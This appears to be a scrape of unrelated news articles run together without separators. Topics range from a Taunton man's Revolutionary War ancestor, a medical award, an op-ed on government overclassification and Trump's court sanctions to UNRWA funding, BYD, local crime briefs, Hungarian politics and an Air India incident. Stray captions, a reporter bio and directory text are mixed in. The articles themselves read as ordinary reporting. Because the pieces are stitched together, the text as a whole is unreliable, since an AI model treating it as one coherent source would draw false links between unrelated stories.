TAUNTON  Taunton resident Jason Roomes said he and his family would celebrate Black History Month by trying to make more people aware that Black soldiers fought in the Revolutionary War.

"I'll be flying a 1st Rhode Island Regiment flag in my yard in Taunton on Feb. 1 and February to commemorate Black History Month," said Roomes, 52, who serves as a Taunton election commissioner.

"I'll be flying that flag to honor my ancestor Caesar Rome and the people of color in that regiment."

Roomes said Caesar Rome was an enslaved person, enslaved by George Rome, a wealthy Newport tax collector who supported the British and owned a plantation in North Kingstown, Rhode Island.

"It was like Hugh Heffner's Playboy mansion," he said. "At some point, prominent people went there."

A Rhode Island Historical Society publication says George Rome's mansion and the properties of other loyalists were seized by the state's General Assembly in 1775.

Roomes said George Rome was ordered arrested by Benjamin Franklin in 1776.

"He fled to England on a British Navy ship," Roomes said.

Taunton resident Jason Roomes points to his ancestor's name Ceasar Rome on a Patriot Park memorial wall in Portsmouth that honors soldiers who served the 1st Rhode Island Regiment during the Revolutionary War.

He said George Rome's escape allowed Caesar Rome to join the 1st Rhode Island Regiment  widely regarded as the first Black battalion in U.S. military history, according to history.com.

"A lot of prominent families sent their slaves to fight," Roomes said. "People of color were allowed to join the regiment."

The 1st Rhode Island Regiment successfully defended Portsmouth from a British attack during the Battle of Rhode Island on Aug. 29, 1778.

"We are coming up on the 250th anniversary of the battle," Roomes said.

Here's what we knowPublic outcry over trash hauler 'boiling over' in Raynham

Roomes said he found a public record that states Caesar Rome died in 1802 and was buried in a cemetery that was then located in Johnston, Rhode Island, east of Neutaconkanut Hill in Providence.

"The boundaries of the cemetery changed, and it became part of Providence, "he said.

Roomes said a historical record published by James Arnold in 1890 states that Rome was buried in Providence, and the cemetery had 21 colored gravestones.

Story continues

"One of them has an inscription that said Ceasar Rome died in 1802," he said.

Roomes said it was common to bury Black people in graveyards next to colored headstones with no names inscribed during the 18th century and a portion of the 19th century.

"The location of the cemetery is now unknown," he said. "We have not found Ceasar Rome's grave and we hope to find it and put up a (grave) marker."

James Newell Arnold was a collector and publisher of genealogical and historical records of the state of Rhode Island.

Taunton Election Commissioner Jason Roomes will display a 1st Rhode Island Regiment flag in his yard to honor his ancestor who fought during the Revolutionary War and in recognition of Black History Month.

Real estate reportCustom-built colonial on over an acre of land sells for $699K in Dighton

Fighting for their country and their freedom

Roomes said his ancestors came to Rhode Island as enslaved people, and their descendants have served in the military since the Revolutionary War.

"My father was in an Air Force unit, assigned to a Prime Base Engineer Emergency Force contingent during the Korean and Vietnam wars," he said.

Roomes said he was 12 years old when his father, Stephen E. Roomes of Providence, died.

"He did a lot of special chemicals and nuclear training," Roomes said. "They (Air Force) handpicked people from around the country to do that. He was the only African American in that group."

Roomes said he grew up in North Kingstown and learned that his ancestor George Rome served in the 55th Massachusetts Black Regiment during the Civil War that was fought from 1861-1865.

"He wanted to serve in the 54th Massachusetts Regiment, but it was full, and the state created the 55th Regiment," he said.

According to the National Bible Museum, Rome was one of nearly 180,000 African Americans to fight for the Union during the Civil War, and he died in 1900.

"He was buried in Hope Cemetery in Worcester," Roomes said.

Roomes's ancestral history is highlighted in the book "We Were Here Too: Selected Stories of Black History in North Kingstown" by G. Timothy Cranston and Neil Dunay.

Old Colony museum open house will celebrate Black History Month

Roomes said he hopes more people become aware of how Black soldiers served in the 1st Rhode Island Regiment and the 55th Massachusetts regiment by attending an open house at the Old Colony History Museum in downtown Taunton that he is taking part in on Feb. 25 from 10 a.m. to 4 p.m.

This article originally appeared on The Taunton Daily Gazette: Taunton: Roomes to fly 1st RI Regiment flag during Black History Month
The International Photodynamic Association

NANCY, France, Jan. 24, 2023 (GLOBE NEWSWIRE) -- The International Photodynamic Association (IPA) is pleased to announce that Professor Tayyaba Hasan, Professor of Dermatology at the Wellman Center for Photomedicine, Harvard Medical School (HMS) and a Professor of Health Sciences and Technology (Harvard-MIT), is the recipient of the IPA Gold Medal Award. The Gold Medal Award recognizes the significant mentoring and career contributions of Dr. Hasan which greatly advanced the field of photodynamic therapy (PDT).



There are very few who have contributed so much to the advancement and sustainability of the field of photodynamic therapy as Dr. Hasan. Her career research work and association efforts span 4 decades. Dr. Hasans leadership in both areas have made significant and lasting contributions to PDT. Her impact is best observed through the legacy of talented PDT researchers that she has directly (through the Hasan Laboratory) and indirectly inspired all around the world. With over 248 publications and 23 inventions from research funded by the National Institutes of Health (NIH), the Department of Defense and industry grants. For her work, Dr. Hasan has received many significant and prestigious awards for her numerous achievements in the field of PDT.

About Photodynamic Therapy

Photodynamic Therapy (PDT) is a combination therapy involving light-activated photosensitizers to diagnose and treat various types and stages of cancers and pre-cancers, macular degeneration and multidrug-resistant infections involving bacteria, viruses and fungi. First developed in the 1950s, PDT has demonstrated superior patient outcomes with considerable cost savings. Over the past 30 years, millions of patients globally have been successfully treated with PDT.

About the International Photodynamic Association

The International Photodynamic Association (IPA) was founded in 1986 to support and endorse the scientific advancement and clinical development of photodynamic therapy and photodiagnosis. With members and associates from over 30 countries, the IPA represents a truly global community consisting of prominent international scientists, clinicians and translational researchers, healthcare professionals and students across academic, hospital, government, and private sector organizations. The IPA promotes the study of diagnosis and treatment using light-activated photosensitizers and disseminates scientific information to its members, the research community, and to the community at large. The IPA organizes a biennial World Congress around the world, providing members and non-members a unique opportunity to share and learn more about global developments relating specifically to photodynamic therapy and photodiagnosis.

Story continues

The next IPA World Congress will be held on July 10-15th, 2023 in Tampere, Finland.

For further information: ipasecretary@internationalphotodynamic.com




Decades from now, when the government belatedly releases the Trump and Biden purloined records, Americans may well wonder what all the fuss was about.

The document cases tied to the president and his predecessor dramatize what national security experts of every political stripe have known for decades: Far too many government records are classified. Most are classified not to protect sources and methods  the standard intelligence community rationale  but to protect intel analysts against embarrassment or to protect government "secrets" that the public should know.

A famous example is the classification of millions of documents ostensibly tied to President John F. Kennedy's assassination: Each release of a new trove, most recently last month, has prompted questions about why most of the documents were classified in the first place.

An issue of national security

In examining another American tragedy, the bipartisan 9/11 commission found that far from protecting the United States, excessive classification had left our country vulnerable to the 2001 terror attacks by restricting important intelligence findings about al-Qaida and other jihadist groups to too few essential U.S. security figures.

What we have learned is that overclassification can also be damaging to national security, or at a minimum, it can lead to second-guessing what might have been if we were only able to get the information in the right hands at the right time, Rep. Jason Chaffetz, R-Utah, said at a 2016 House oversight hearing.

Seeing secret documents: Biden's classified document snafus predate his presidency

Chaffetz, who retired in 2017, said the government had spent $100 billion over the previous decade on security classification activities  much of them unnecessary, and some of them harmful.

When I came to Washington as a correspondent, I was surprised to cover Sens. Patrick Moynihan, a liberal Democrat from New York, and Jesse Helms, a conservative Republican from North Carolina, co-sponsoring legislation to streamline the classification system. At a 1997 Senate hearing, each senator dramatically brandished and then read from recently declassified documents that were so innocuous, their readings elicited audience guffaws around the committee room.

Story continues

The rise of overclassification

You can draw a direct line from the needless classification of material stretching back well over a half-century, deep into the Cold War, to todays toxic distrust of the government among tens of millions of Americans.

In supporting the Moynihan-Helms bill, The Washington Post editorialized: Government keeps too many secrets. It keeps material classified far too long. Excessive secrecy is expensive, breeds popular distrust of government and withholds from historians, researchers and the voting public information that is important.

Letter from House Oversight and Accountability Committee Chairman James Comer, R-Ky., to White House counsel Stuart Delery on Jan. 10, 2023.

That measure failed to pass, instead giving rise to a new bureaucracy now at the center of the Trump and Biden imbroglios  the National Archives and Records Administration, or NARA for short.

The late FBI Director J. Edgar Hoover bears some responsibility for the damage done by overzealous classification. As the first head of the nations primary domestic intelligence agency, he turned it into a vast, Soviet-like collection fiefdom that too often had more to do with his personal proclivities and animosities than with the nations security.

Former Sen. Joseph Lieberman: Presidential records belong to the American people, not former presidents

To cite just one of many examples, belatedly released records show that he paid informants and planted listening devices to gather evidence of alleged extramarital affairs and communist ties of Martin Luther King Jr.

In July 2021, USA TODAY quoted a Senate reports conclusion that the Commerce Department had acted as a rogue, unaccountable police force across multiple presidential administrations in targeting its Asian American employees. The report found that a departmental division called the Investigations and Threat Management Service had used overclassification of documents to protect the unit from external scrutiny.

Three tiers of classification

The federal classification system has three main tiers: Top Secret, Secret and Confidential. The most highly sensitive records are stamped Top Secret and truly need to be closely guarded, seen by a limited number of vetted officials with high-security clearances, in order to protect the United States against real harm by foreign or domestic enemies.

They can be viewed only in SCIFs  Sensitive Compartmented Information facilities that look like giant bank vaults and normally can be accessed only by accredited individuals using eye scans, fingerprints or complex entry codes. But far too many Secret or Confidential documents protect the individual reputations of analysts whose forecasts proved disastrously wrong.

Attorney General Merrick Garland appoints on Jan. 12, 2023, a special counsel to further review the handling of classified documents found at a former office space used by President Joe Biden and at his home in Wilmington, Del.

An example is the lead-up to the Iraq War debacle when Vice President Dick Cheney made unprecedented personal visits to Langley to pressure senior CIA officials to alter intel assessments in order to support a U.S. invasion and the overthrow of Saddam Hussein.

The Moynihan-Helms initiative led to the creation of the deliciously named Commission on Protecting and Reducing Government Secrecy. That panel, in turn, helped establish the National Declassification Center as part of NARA  the agency that has exploded in the news in recent months since the FBI search of Mar-A-Lago in Florida.

Each quarter the center dutifully releases thousands of boxes  boxes, not individual documents  of newly declassified material. Even a cursory look at its most recent release in November might elicit new guffaws: For instance, 15 boxes of "foreign media summaries" from Sweden, Denmark and other Scandinavian countries. Other newly released records long ago lost whatever sensitivity they once had, such as 150 boxes from 14th Air Force records tied to World War II and the Cold War between 1943 and 1968.

Not even close: False equivalency between Biden, Trump classified docs cases continues

A double standard?: If Trump was 'irresponsible' for stashing secret documents, what does it make Biden?

A false sense of importance

As a Moscow correspondent, I would share lunch or drinks with U.S. Embassy diplomats who confided that much of the information they weren't allowed to tell journalists came from reading those journalists' articles! Later, as a Pentagon reporter, I was frustrated by military or civilian officials who would tell me things off the record or on background that were either common knowledge, available online or had no possible intelligence value.

In addition to frustrating journalists, the overclassification and extended retention of government records stifle academic research  the very research government policymakers depend on to make informed decisions. A major problem with today's classification system is that it was created in the pre-internet era when information was much less fungible.

Opinion alerts: Get columns from your favorite columnists + expert analysis on top issues, delivered straight to your device through the USA TODAY app. Don't have the app? Download it for free from your app store.

The problem with former President Donald Trump's response to FBI inquiries of the Mar-a-Lago documents, as with his responses to so much scrutiny of him, is that his overwrought, accusatory declarations make them appear more sensitive than most of them probably are.

Far savvier is President Joe Biden's apparent response of disclosure and cooperation to the more recent discovery of classified records at the Penn Biden Center in Washington and at his home in Delaware.

History suggests that the bulk of the restricted documents found in both presidents personal possession contain information already in the public domain  or information that should be in the public domain. Unfortunately, Americans likely wont learn this key fact until it is much too late to matter.

James Rosen is a former Pentagon reporter for McClatchy who earlier covered the collapse of the Soviet Union as a Moscow correspondent. He received awards from the National Press Club, Military Reporters & Editors Association and the Society of Professional Journalists, which last year named him top opinion columnist.

More from James Rosen:

'I don't know how we survived': A new generation of antisemitism we thought was behind us

Russia failed to heed lessons from history before invading Ukraine

You can read diverse opinions from our Board of Contributors and other writers on the Opinion front page, on Twitter @usatodayopinion and in our daily Opinion newsletter. To respond to a column, submit a comment to letters@usatoday.com.

This article originally appeared on USA TODAY: Biden, Trump classified documents show too many records are secret
Former President Donald Trump during an event at his Mar-a-Lago home on November 15, 2022, when he announced he would run for president in 2024. Joe Raedle/Getty Images

Donald Trump said litigation against him is meant to "defeat" him ahead of 2024.

Judges have repeatedly slammed Trump for using lawsuits "to advance a political narrative."

A judge last week sanctioned him and his lawyer Alina Habba with a $1 million fine.

Former President Donald Trump is trotting out a new argument against everyone suing him: They're trying to distract him.

In a deposition taken in October and unsealed this month, Trump lashed out at the attorney interviewing him. His perceived enemies were trying to "defeat" him by keeping him busy, said Trump, who has announced he'll run for president in 2024.

"Keep Trump busy, because this is the way you defeat him, to keep him busy with litigation," Trump testified in the deposition, speaking in the third person.

The deposition was taken for a lawsuit brought by the writer E. Jean Carroll, who has alleged that Trump raped her in the 1990s and defamed her by calling her a liar when she went public with her claims. Portions of the deposition were unsealed earlier this month.

Elsewhere in the deposition, Trump said he believed Carroll and her lawyer, Roberta Kaplan, were "somehow aligned with Hillary Clinton." When pressed by Kaplan about his claims that the litigation was political in nature, Trump testified he did not have "any documents indicating that she was pursuing a political agenda" and that he made the claim because "somebody had mentioned it."

This isn't the first time Trump has cast litigation against him as politically motivated. He's used the term "witch hunt" to describe *deep breath* the Manhattan district attorney's investigation into the Trump Organization, which resulted in convictions at a jury trial; the ongoing New York attorney general office's investigation and 220-page lawsuit into his company's finances; the former special counsel Robert Mueller's investigation into the links between his 2016 campaign and Russia, which found many; and the ongoing Justice Department investigation into him keeping classified government documents at Mar-a-Lago, his Palm Beach, Florida, estate.

Story continues

In a decision handed down Thursday night, a federal judge in Florida said the opposite was true. US District Judge Donald M. Middlebrooks said that Trump has a "pattern of misusing the courts to serve political purposes."

"Mr. Trump's deliberate use of a frivolous lawsuit for an improper purpose constitutes bad faith," Middlebrooks wrote in his ruling. "And the behavior is not unique, but part of a plan, or at least a playbook."

A federal judge said one of Trump's lawsuits was 'drafted to advance a political narrative'

Middlebrooks fined Trump and his attorney Alina Habba nearly $1 million for a frivolous lawsuit filed against Hillary Clinton, the Democratic National Committee, the former FBI director James Comey, and a smattering of other people and entities that Trump harbors grudges against.

Over 46 scathing pages, the judge described how the lawsuit made no sense on its own terms and constituted "abusive litigation tactics."

The lawsuit's real purpose, he wrote, was a "deliberate attempt to harass" that was "drafted to advance a political narrative" rather than "address legal harm."

"This case should never have been brought," Middlebrooks wrote. "Its inadequacy as a legal claim was evident from the start. No reasonable lawyer would have filed it. Intended for a political purpose, none of the counts of the amended complaint stated a cognizable legal claim."

Lawyers who do Trump's bidding run the risk of getting into hot water themselves.

Trump's former fixer Michael Cohen famously pleaded guilty to criminal charges for arranging hush-money payments to women who said they had affairs with the mogul before the 2016 election. The conviction stripped Cohen of the ability to practice law.

Trump lawyers Michael Madaio, left, and Alina Habba, center, leaving Manhattan Supreme Court on April 25, 2022. Molly Crane Newman/New York Daily News/Tribune News Service via Getty Images

A December analysis from Insider found that 16 attorneys have been sanctioned for lawsuits filed on Trump's behalf, including Rudy Giuliani and a host of other attorneys who pushed conspiracy theories about the 2020 election.

Among Trump's large team of lawyers and legal advisors, Habba may run the greatest risk of being sanctioned.

She is handling many of Trump's most personal cases. Some have been successful, such as a settlement with Summer Zervos, who had accused Trump of sexual misconduct; the settlement of a case brought by protesters who said they were beaten up by his security guards outside Trump Tower; and dismissals of lawsuits brought by Mary Trump and Michael Cohen. She and her law partner Michael Madaio are also defending Trump in Carroll's litigation against him.

Habba has also acted as Trump's attack dog in the courts. She's sued CNN, Twitter, YouTube, Facebook, and the Pulitzer board on his behalf.

As Middlebrooks pointed out in his sanctions order, those cases have a political flavor.

Trump touted several of those lawsuits to ask his supporters for donations, leading Middlebrooks to remark that the former president was "using the courts as a stage set for political theater and grievance."

Habba personally advises Trump's MAGA political-action committee, and public filings show her firm has been paid more than $2 million in fees from Trump's Save America PAC.

Another judge threatened sanctions over 'frivolous litigation'

There are signs Trump may finally be rethinking his litigation strategy.

Hours after Middlebrooks' sanctions order, Trump withdrew a separate lawsuit against the New York state attorney general, Letitia James. The lawsuit, filed in a federal court in Florida, sought to halt a lawsuit James filed in New York against the Trump Organization alleging a pattern of financial misconduct over the course of decades.

That lawsuit also landed in front of Middlebrooks. He hasn't ruled on it yet, but in his sanctions order last week, he made it clear that he took a dim view of the lawsuit against James.

New York State Attorney General Letitia James. Lev Radin/Pacific Press/LightRocket via Getty Images

Middlebrooks drew from comments made by a New York judge, Arthur Engoron, who's overseeing the James lawsuit and has spent years overseeing litigation related to the Trump Organization's efforts to slow her investigation. Engoron had repeatedly slapped down the Trump family's efforts to squirm out of handing over documents and sitting for depositions and has been repeatedly backed up by appeal courts. At one point, he found Donald Trump to be in contempt of court and fined him $10,000 a day until he sat for a deposition.

Engoron also rejected Trump's arguments that the attorney general's "investigation was based on 'personal animus' and that it amounted to selective prosecution," Middlebrooks noted.

Earlier this month, Engoron said he was considering another set of sanctions against Habba and Madaio, as well as two other law firms representing Trump, for setting forth "the same legal arguments that this court previously rejected," as Insider's Laura Italiano previously reported. Those legal arguments include claiming that James' investigation amounted to a "witch hunt," and that the New York attorney general did not have the standing to sue Trump's New York-based business.

"This widespread and persistent conduct points to the need for deterrence," Middlebrooks wrote in justifying the $1 million fine.

Trump's lawyers have to deal with his 2024 run

In the Trump lawsuits that haven't been dismissed, those trials may need to be scheduled around his 2024 campaign events. He can't be chowing down corn dogs at the Iowa State Fair if he needs to be in court defending himself against Carroll's rape allegations.

A scheduling scuffle played out in court filings late last year in a class-action lawsuit brought by a group of people who said Trump scammed them by promoting a multi-level marketing scheme. Roberta Kaplan, who is also representing plaintiffs in the case, asked the judge to set a trial date "before primary contests and other campaign-related events begin in earnest."

"Plaintiffs have no desire to interfere with the upcoming campaign, and are mindful that, should the schedule in this case extend into 2024, Defendants likely will, as they have in the past, use the campaign as a basis to seek further delay," Kaplan wrote in a November 21 letter, shortly after Trump announced his candidacy.

Attorneys for Trump described the concerns as "wholly manufactured" and said Trump wouldn't have a problem with an early 2024 trial date, even though he sought to have trials moved during the 2016 campaign.

"There is nothing before the Court that even remotely suggests that President Trump is unwilling or will be unable to 'participate at trial' or be subjected to 'cross examination' in early 2024," Trump's attorney Clifford S. Robert wrote.

A trial for Carroll's claims is set for April of this year, and James' lawsuit against Trump is on track for October. The judge overseeing the class-action lawsuit ultimately scheduled the trial to begin in January 2024.

Trump's docket may continue to fill up. Within weeks, the Fulton County district attorney, Fani Willis, is expected to reach a decision about whether to bring criminal charges against him for trying to overturn Georgia's 2020 election results. Jack Smith, a special counsel for the Justice Department, is also expected to reach a charging decision as soon as this summer over Trump keeping government documents after leaving the presidency, according to The New York Times.

Read the original article on Business Insider
By Gabrielle Tetrault-Farber

GENEVA (Reuters) -The head of the United Nations agency that delivers basic services to millions of Palestinian refugees said on Tuesday that certain Arab countries' rapprochement with Israel should pose no obstacle to their funding of the organization.

UNRWA in recent years has come under pressure in part from a decline in funding from Arab countries, which last year accounted for a mere 4% of overall contributions to the agency after having made up around a quarter in 2018.

The decision by some countries like the United Arab Emirates to cut or even halt funding altogether coincides with a move toward normalising relations with Israel as part of a series of agreements known as the Abraham Accords.

Philippe Lazzarini, Commissioner-General of the U.N. Relief and Works Agency for Palestine Refugees in the Near East, said he saw no contradiction between supporting Palestinian refugees and building ties with Israel.

"You can have strong bilateral relations with Israel and be a strong supporter of the agency," Lazzarini told Reuters.

"Whatever rapprochement or ties (with Israel) should not have the slightest impact on your commitment and your solidarity with the Palestine refugees and your support to an agency like UNRWA. We should not be the proxy or byproduct of any political considerations," he said.

Established in 1949, UNRWA provides public-like services including schools, primary healthcare and humanitarian aid in Gaza, the West Bank, Jordan, Syria and Lebanon, the five countries or territories where most Palestinian refugees, or their descendants, from various Arab-Israeli conflicts live.

UNRWA appealed on Tuesday for $1.6 billion in funding to support its programmes and operations.

Lazzarini, who said in November that UNRWA was in a funding "danger zone", said some donors had already notified the agency that they might be forced to limit financing due to austerity measures at home.

Story continues

"My message to our member states today is: Don't take our ability to muddle through as a given," Lazzarini said.

"It would be better not to test the tipping point and it should be much easier to make UNRWA a predictable partner because we are also an agency contributing to the stability in a region that is highly volatile."

However, Lazzarini said Israel's new governing coalition, which includes ultra-nationalist parties who want to annex Israeli-occupied West Bank land, has not had any effect on UNRWA's ability to operate.

"We have normal access when it comes to delivering our services in Gaza and the West Bank, but we are very concerned about the increased violence impacting this community," he said.

Last year saw the worst levels of violence in the West Bank in more than a decade after Israel launched a crackdown on militants in response to fatal Palestinian street attacks.

(Reporting by Gabrielle Tetrault-Farber and Cecile Mantovani; Editing by Mark Heinrich)
WASHINGTON, Jan. 24, 2023 /PRNewswire/ -- United States Senate Federal Credit Union President and CEO, Timothy L. Anderson recently sat down with Oregon Senator Ron Wyden to discuss the credit union business model, its mission of equalizing financial opportunity for all, and the advantages of nonprofit financial services. The conversation also highlights Senator Wyden's relationship with credit unions, his personal experience with USSFCU, and his passion for helping America's (Oregon's) small businesses.

USSFCU Spotlight Podcast Interview with Sen. Ron Wyden

"It's a true honor to sit down with the Senator, a true credit union advocate, and to share our passion for the movement," states USSFCU President, and CEO Timothy Anderson.

Oregon's senior U.S. Senator, Democrat Ron Wyden, who was first elected to the Senate in 1996, chairs the powerful U.S. Senate Finance Committee and sits on the Energy and Natural Resources, Budget, and Intelligence Committees.

"The common theme among credit unions is they all help people save money by providing more affordable financial products," says Wyden. He goes on to explain the similarities between the credit union premise and his mission in office. "That's what I'm trying to do, help people save money and that's what credit unions do with their focus on providing more affordable financial products and services."

In addition to the unequivocal benefits credit union services offer the individual household, the pair also discussed the role small community lenders like credit unions play in providing opportunity for America's main street businesses. Senator Wyden has been a strong supporter of legislation that empowers credit unions to serve more of their local small business members.

The conversation ends with comments surrounding the virtues of the credit union movement. "America is at its best when it gives everyone a chance to get ahead. And that's what credit unions do," concludes Wyden.

The Senator's interview is part of USSFCU's recently released podcast  "USSFCU Spotlight" which features discussions about credit union services, member experiences, and the credit union's involvement in the communities they serve.

Story continues

Watch the Podcast Here

About USSFCU

For over 85 years, USSFCU has provided the U.S. Senate and Capitol Hill communities with world-class financial stability, security, and service. Now a $1.2 billion credit union with 100 plus paths to membership, almost everyone has the opportunity to experience the USSFCU difference. Learn more at www.ussfcu.org.

USSFCU Spotlight Podcast Interview with Sen. Ron Wyden

USSFCU Spotlight Podcast Interview with Sen. Ron Wyden

USSFCU Spotlight Podcast Interview with Sen. Ron Wyden

USSFCU Spotlight Podcast Interview with Sen. Ron Wyden

USSFCU Spotlight Podcast Interview with Sen. Ron Wyden

United States Senate Federal Credit Union Logo (PRNewsfoto/U.S. Senate Federal Credit Union)

Cision

View original content to download multimedia:https://www.prnewswire.com/news-releases/ussfcu-ceo-sits-down-with-us-senator-ron-wyden-to-discuss-the-passion-and-the-people-behind-the-credit-union-movement-301729807.html

SOURCE US Senate Federal Credit Union
AP

Warren Buffett-backed BYD is in early talks to purchase a Ford plant in Germany, the Wall Street Journal said.

A deal would mark a massive overseas expansion for China's top maker of electric vehicles.

Buffett's Berkshire Hathaway reduced its stake in BYD in 2022 but still owns 16% of the company.

Warren Buffet-backed BYD is in early talks with Ford to purchase a production plant in Germany, sources told the Wall Street Journal.

Executives from Ford are due to travel to China next week to discuss the deal, the report said. The Chinese electric vehicle maker would seemingly take over the plant in Saarlouis once Ford ends production there in 2025. Ford is weighing 15 other potential investors for a deal, the Journal added.

Ford previously announced an end to vehicle production at the plant, which makes the Focus compact car, in June of last year. Ford plans to focus EV production in Spain and at a separate German plant in Cologne.

If BYD clinches a deal, it would mark a major overseas expansion. BYD is the largest EV maker in China by sales volume, and expanding in Europe would allow the company to gain stronger footing in a rapidly growing market.

BYD sold nearly 1.9 million vehicles in 2022, outpacing Tesla's 2022 sales figure of about 1.3 million. BYD sells both plug-in hybrid vehicles and fully electric vehicles, typically at a lower price point than Tesla's lowest priced Model 3.

Buffett's Berkshire Hathaway first bought shares in BYD in 2008. While it reduced its stake in BYD in 2022  bagging more than $1 billion in profits in the process  it still owns 16% of the company, according to regulatory filings.

US-listed shares of BYD were flat on Tuesday at $29.77. But the stock has significantly outperformed EV rivals like Tesla and Rivian as well as Chinese competitors like Xpeng and Nio recently.

Read the original article on Business Insider
Crime and Courts Reporter

Donald W. Meyers is a multimedia journalist at the Yakima Herald-Republic covering crime and courts. He is also the writer behind It Happened Here, a weekly history column. Before coming to Yakima, Meyers covered a wide variety of beats at The Salt Lake Tribune, Daily Herald, and daily and weekly newspapers across New Jersey. He is also a member of the Society of Professional Journalists, serving as a regional officer in the organization as well as on the national Freedom of Information Committee.
OZARK  Three deputies to Dale County Coroner John Cawley were unanimously approved by the Dale County Commission Tuesday and sworn in to office by Dale County Probate Judge Sharon Michalic.

Chief Deputy Coroner Adam Bruhn and Deputy David Grubbs, who will be responsible for the Daleville section of the county, were separately sworn into office with Cawley holding the Bible and Dale County Sheriff Mason Bynum serving as witness. Deputy Coroner Rickey Stokes, who will be responsible for the Dothan area hospitals, was unable to attend due to illness, Cawley said.

Cawley, who served as Dale County deputy coroner before being elected to the office in the general election and sworn in last week, also gave a coroners report of the coroners activities in 2022. The coroners office answered 191 calls last year, he said. His office approved 306 cremations, including two indigent cremations. The coroners office also ordered 26 autopsies.

Cawley said that among the deaths his office responded to, 25 were overdoses, eight were suicides, seven were in connection with vehicle accidents and four were COVID-19 related.

The next meeting of the Dale County Commission is Tuesday, Feb. 14, at the Government Building in Ozark. A work session begins at 10 a.m. and is followed immediately by a voting meeting. Both meetings are open to the public.
Stanley Timmings is seen through the door of the RV where he lived with his girlfriend on the streets of Seattle in 2017. Timmings was parked just north of Boeing Field, the King County International Airport, along with a group of fellow RV-dwellers who are periodically told by the city to move their vehicles - even if just across the street - or risk having them towed away. In Seattle, about one-third of unsheltered homeless people live in vehicles, according to recent homeless counts. (Ted S. Warren / The Associated Press, 2017)
The family of the Fort Rucker soldier killed earlier this month with a shovel allegedly wielded by another Army private said they have lingering questions about his death as they laid him to rest in New Jersey.

We get to put him to rest, but we still want answers, Mohammed Latifu, brother of slain Army Pvt. Abdul Latifu, told News 12 in New Jersey as funeral services were held for the Bronx native.

The family is distraught, Mohammed Latifu continued, saying his father was too upset to address reporters. Its a heartbreaking tragedy.

Abdul Latifu, a 21-year-old Ghanaian-American, was assigned to the 1st Battalion, 13th Aviation Regiment, 1st Aviation Brigade, as he trained as an Army Air Traffic Control Operator.

Army Times reported the alleged attack involved an Army-issued entrenching tool  a small steel folding shovel  in the assault.

Pvt. Brian Jones, a 21-year-old trainee attending an Army air traffic control operator course at Fort Rucker, has been in custody since the Jan. 10 killing of Abdul Latifu, Army Times reported. Jones now faces a murder charge under the Uniform Code of Military Justice and will remain in custody until trial as the military justice system does not provide an opportunity for bail.

Al-Haj Mohammed Murtala, a family member of Abdul Latifus, also suggested the family does not have all the details of the incident.

We are still in darkness. We still havent been properly informed as to what really transpired, he said. We need to get down to the roots of whatever transpired.

Baraka Abdullah, Latifus sister, said its been difficult to grasp that her brother is dead.

Right now, Im stuck at the point where i feel like hes not gone, she said. I keep feeling like hes still here.
Our directory features more than 18 million business listings from across the entire US. However, if we're missing your business, add your business by clicking on Add Your Business.
A pro-government lawyer interprets the results of the National Consultation on EU sanctions as clear endorsement of the governments policies.

A left-wing columnist thinks that the whole national consultation exercise is nothing but a costly propaganda tool.



On Tuesday, the government published the results of the National Consultation on EU sanctions.



More than 97 per cent of the 1.4 million respondents disagreed with EU sanctions including those on Russian gas, oil, and nuclear fuel, and agreed that the sanctions are responsible for the rapid rise in food prices.



In an interview with M1, Hungarys public news channel, Zoltan Lomnici Jr, a constitutional lawyer at the pro-government Szazadveg think tank, sees the results of the National Consultation as proof that the vast majority of Hungarians reject EU sanctions on Russia.



The conservative analyst believes that the survey results confirm the governments criticism of the sanctions.



Nepszavas Gabor Czene describes the governments national consultation as a propaganda tool.



The left-wing columnist finds it absurd of government politicians to claim that 97 per cent of Hungarians oppose EU sanctions on Russia, bearing in mind that the national consultation survey was only returned by 1.4 million Hungarians.



Czene accuses the government of using what he calls a wasteful and expensive propaganda exercise to foment hatred towards Brussels and divert voters attention from what he describes as the governments dilettante economic policies.



On Telex, Judit Presinszky contrasts the national consultation results with recent survey data published by Eurobarometer.



The liberal columnist underlines that according to the representative EU poll, 56 per cent of Hungarians agree with EU economic sanctions on Russia and the help the EU offered to Ukraine.



This opinion does not necessarily represent the views of XpatLoop.com or the publisher.

Your opinions are welcome too - for editorial review before possible publication online.

Click here to Share Your Story
According to a recent poll, 68% of Hungarians still see Hungary's membership of the European Union as beneficial, writes the left-leaning daily Nepszava.

This means that the majority of Hungarians would not support Huxit.



According to a recent survey by the Publicus Institute, two-thirds of Hungarians would still vote for Hungary to become a member of the European Union.



According to the December 2022 poll, 68% of those asked still see Hungary's membership of the EU as beneficial.



It was highest in March 2022, when 86% of people were pro-EU. The lowest, 57%, was recorded during the refugee crisis in 2015, the report notes.
Two downtown stops of the revamped Budapest metro line 3 were inaugurated on Monday, with the southern arm of the line fully operational from Kobanya-Kispest to Deak Ferenc Square from later in the day.

Regional development minister Tibor Navracsics said at the inauguration that the government and the Budapest municipality should move past policy disagreements in strategic, medium-term and long-term plans.





Deak ter



The citys development, raising the quality of services and the level of satisfaction of Budapest dwellers is in our joint interest, he said.





Ferenciek Tere



Mayor Gergely Karacsony said developing transport in the capital was also in the interest of suburb residents and the country.





Ferenciek Tere



Developing the national capital is a national issue as well as a municipal one, he said.



Deak ter



Photos: BKK & Gergely Karacsony's Facebook page
YORK  Jimma Thomas Tot, 41, of Sandy Springs, Georgia, pleaded not guilty this week in York County District Court in a case where he was allegedly caught with 387 pounds of marijuana in York County.

His arraignment was held before Judge James Stecker.

The case began when a trooper with the Nebraska State Patrol saw a speeding van on Interstate 80. Court documents indicate the driver also committed several traffic violations and a stop was initiated.

According to the affidavit filed with the court, the trooper could see several large boxes in the rear cargo area of the van and he could smell marijuana. Tot was the driver.

Because of the extreme odor of marijuana coming from the van, a probable cause search was conducted. Troopers found 375 bags containing 387.3 pounds of marijuana in the van.

Tot has been charged with delivery of a controlled substance, a Class 2A felony; possession of more than a pound of marijuana, a Class 4 felony; and having no drug tax stamp, a Class 4 felony.

Now that Tot has pleaded not guilty to all three charges, a jury trial was scheduled for late May.
Nearly two months after the urination incident on its New York-New Delhi flight, Air India on Tuesday said it has closed the internal probe into the case and will assist the flight's pilot-in-command with an appeal against the suspension of his license by DGCA as the airline deems the action as "excessive". Last week, the Directorate General of Civil Aviation (DGCA) suspended the license of the pilot for three months, imposed a penalty of Rs 30 lakh on Air India and Rs 3 lakh on the director of the airline's in-flight services related to the urination incident that happened on November 26, 2022.

Tata group-owned Air India on Tuesday said it has closed the internal investigation into the actions of its crew operating and administrative staff supporting the AI 102 (New York-New Delhi) on November 26, 2022.

